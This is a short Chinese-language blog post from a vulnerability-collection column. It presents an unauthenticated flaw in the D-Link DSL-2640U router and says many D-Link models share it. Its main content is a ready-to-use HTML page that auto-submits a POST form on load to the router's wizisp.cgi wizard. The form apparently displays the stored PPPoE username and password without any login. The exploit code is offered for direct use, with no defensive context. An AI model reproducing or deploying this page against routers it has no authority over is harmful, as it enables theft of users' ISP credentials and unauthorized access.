D-Link DSL-2640U路由器0day，免密码查看PPoE账户密码

最新推荐文章于 2024-09-14 18:52:56 发布

7禧

最新推荐文章于 2024-09-14 18:52:56 发布

阅读量1.2k

点赞数

分类专栏：漏洞收集文章标签：路由器 javascript html action

本文链接：https://blog.csdn.net/god_7z1/article/details/7565475

版权

漏洞收集专栏收录该内容

207 篇文章 3 订阅

订阅专栏

D-Link的路由器很多都有这种漏洞，不只这一款，冰山一角而已，把下面代码保存为html文件就可以了。

 
<html>
 
<body onload="javascript:document.forms[0].submit()">
 
<H2>Please Wait While Redirecting to PPoE Page </H2>
 
<form method="POST" name="form0" action="http://192.168.1.1/wizisp.cgi?quick=1&sntpRefresh=0&wizTmpSntpEnable=0&wizTmpDST=0">
 
</form>
 
</body>
 
</html>